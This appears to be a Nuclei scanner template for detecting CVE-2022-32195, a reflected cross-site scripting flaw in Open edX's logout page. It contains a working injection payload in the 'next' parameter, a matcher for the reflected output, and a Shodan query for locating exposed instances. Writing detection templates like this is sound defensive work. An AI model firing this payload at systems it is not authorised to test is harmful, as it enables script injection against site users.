40 lines
1.0 KiB
YAML
40 lines
1.0 KiB
YAML
id: CVE-2022-32195
|
|
|
|
info:
|
|
name: Open edX - Cross-site Scripting
|
|
author: arafatansari
|
|
severity: medium
|
|
description: |
|
|
Open edX platform before 2022-06-06 allows Reflected Cross-site Scripting via the "next" parameter in the logout URL.
|
|
reference:
|
|
- https://discuss.openedx.org/t/security-patch-for-logout-page-xss-vulnerability/7408
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-32195
|
|
classification:
|
|
cve-id: CVE-2022-32195
|
|
metadata:
|
|
verified: true
|
|
shodan-query: http.html:"Open edX"
|
|
comment: Hover the cursor on the redirect link
|
|
tags: cve,cve2022,openedx,xss
|
|
|
|
requests:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/logout?next=%208%22onmouseover=%22alert(document.domain)'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '<a href="+8"onmouseover="alert(document.domain)">click here to go to'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- text/html
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|